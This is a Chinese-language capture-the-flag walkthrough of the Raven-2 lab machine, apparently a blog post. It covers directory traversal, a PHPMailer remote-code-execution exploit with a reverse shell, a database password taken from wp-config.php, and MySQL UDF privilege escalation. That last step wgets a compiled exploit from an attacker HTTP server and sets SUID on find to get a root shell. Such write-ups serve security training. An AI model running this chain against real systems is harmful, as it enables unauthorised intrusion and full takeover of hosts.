Raven-2拿flag思路

Raven-2拿flag思路
1.主机发现,端口扫描
2.80 端口和 WordPress CMS 的发现
3.枚举目录,发现vendor存在目录遍历
4.发现文件 PATH 并从中获得 flag1
4.1枚举wordpress目录下发现/wp-content/uploads/中意外发现flag3
5.发现文件 VERSION 并从中获取 PHPMailer 的版本
6.利用 PHP 5.2.6 版本的 RCE 漏洞
7.对 exploit 进行适当修改,获得shell
8.通过find命令找到flag2和flag3
9.在 wordpress 目录下查找 wp-config.php 文件,并从中读取数据库密码
10.连接数据库查看当前数据库是否可以UDF提权
11.使用 exploit-db 上名为 1518.c 的 UDF 动态库漏洞利用程序进行提权
13.在 find 程序设置 sticky 位
14.获取 root 访问权限
15.在 /root 下获得 flag4

1.第一步:找到目标主机

首先ifconfig找到本机ip
在这里插入图片描述

通过netdiscover扫描存活主机

netdiscover -r 192.168.159.0/24

在这里插入图片描述
通过nmap扫描出来22和80和111端口,22端口可以尝试ssh爆破
先打开80端口看下网页
在这里插入图片描述
发现login点了没反应

2.目录扫描

python3 dirsearch -u http://192.168.159.128/ -e * -x 404

在这里插入图片描述
在这里插入图片描述

1.通过查看发现vendor存在目录遍历
2. 在vendor中发现PATH下存在flag1
3. 通过目录结构发现其中使用了PHPmailer(是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务)。
4. 在version中发现phpmailer版本为5.2.16,存在漏洞。
5. 通过扫描wordpress下发现/wp-content/uploads/中意外发现flag3
在这里插入图片描述
在这里插入图片描述

3.漏洞利用

searchsploit phpmailer

在这里插入图片描述

searchsploit -m 40974.py

在这里插入图片描述
编辑40974.py

vi /home/kali/40974.py

在这里插入图片描述

运行40974.py,并访问http://192.168.159.128/shell.php ,反弹shell
在这里插入图片描述
利用python 的pty 做一个 bash shell

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
find命令找一下flag:

find / -name "flag*" 2>/dev/null

找到flag2和flag3
在这里插入图片描述
通过dir扫描wordpress发现存在wp-config.php配置文件,直接打开无数据
在这里插入图片描述通过bash shell

find / -name "wp-config.php" 2>/dev/null

在这里插入图片描述

cat /var/www/html/wordpress/wp-config.php

读取数据库密码
在这里插入图片描述
连接数据库:

mysql -uroot -pR@v3nSecurity

select version(); 查看数据库版本

show databases; 查看数据库名

use wordpress 切换到wordpress数据库

show tables; 查看表名

select * from wp_users;

在这里插入图片描述
查看一下mysql的运行权限

ps -ef|grep mysql

可以看到mysql是以root运行,并且也显示了mysql的plugin目录
在这里插入图片描述
首先看一下是否满足写入条件:

show global variables like 'secure%';

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
在这里插入图片描述

3.UDF提权

使用 searchsploit 从 exploit-db 中搜索mysql udf的 exploit

searchsploit udf
searchsploit -m 1518.c

在这里插入图片描述
编译EXP

根据使用条件 进行利用
gcc -g -c 1518.c —GCC编译.o文件
gcc -g -shared -o udfexp.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

在这里插入图片描述
本地起一个HTTP服务

python3 -m SimpleHTTPServer 8081
若出现No module named SimpleHTTPServer,使用下面的 
python3 -m http.server 8081

bash shell端进行下载

wget http://192.168.159.129:8081/udfexp.so

在这里插入图片描述
利用EXP

use mysql;  
//进入mysql 

create table foo(line blob);  
//创建⼀个表,名为 foo

insert into foo values(load_file('/var/www/html/udfexp.so')); 
//将 udfexp.so 导⼊ foo 表,然后利用dumpfile函数把文件导出 

select * from foo into dumpfile '/usr/lib/mysql/plugin/udfexp.so'; 
//将udfexp.so导出到 /usr/lib/mysql/plugin ⽬录中。
outfile 多行导出,dumpfile一行导出 
outfile会有特殊的转换,而dumpfile是原数据导出

create function do_system returns integer soname 'udfexp.so'; 
//创建⼀个名为 do_system 的 UDF 函数,它将调⽤实现该函数的代码
//创建自定义函数do_system 类型是integer,别名(soname)文件名字

select * from mysql.func; 
//查看以下创建的函数

select do_system('chmod u+s /usr/bin/find'); 
//调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

在这里插入图片描述
提权1:

执行find命令
使用find执行 shell
find udfexp.so -exec “/bin/sh” ;
或者:find udfexp -exec “id” ;
find / -name flag*
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}

在这里插入图片描述
在这里插入图片描述

总结:

这个靶机主要是考察了三个点,目录穿越,phpmailer,UDF提权

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值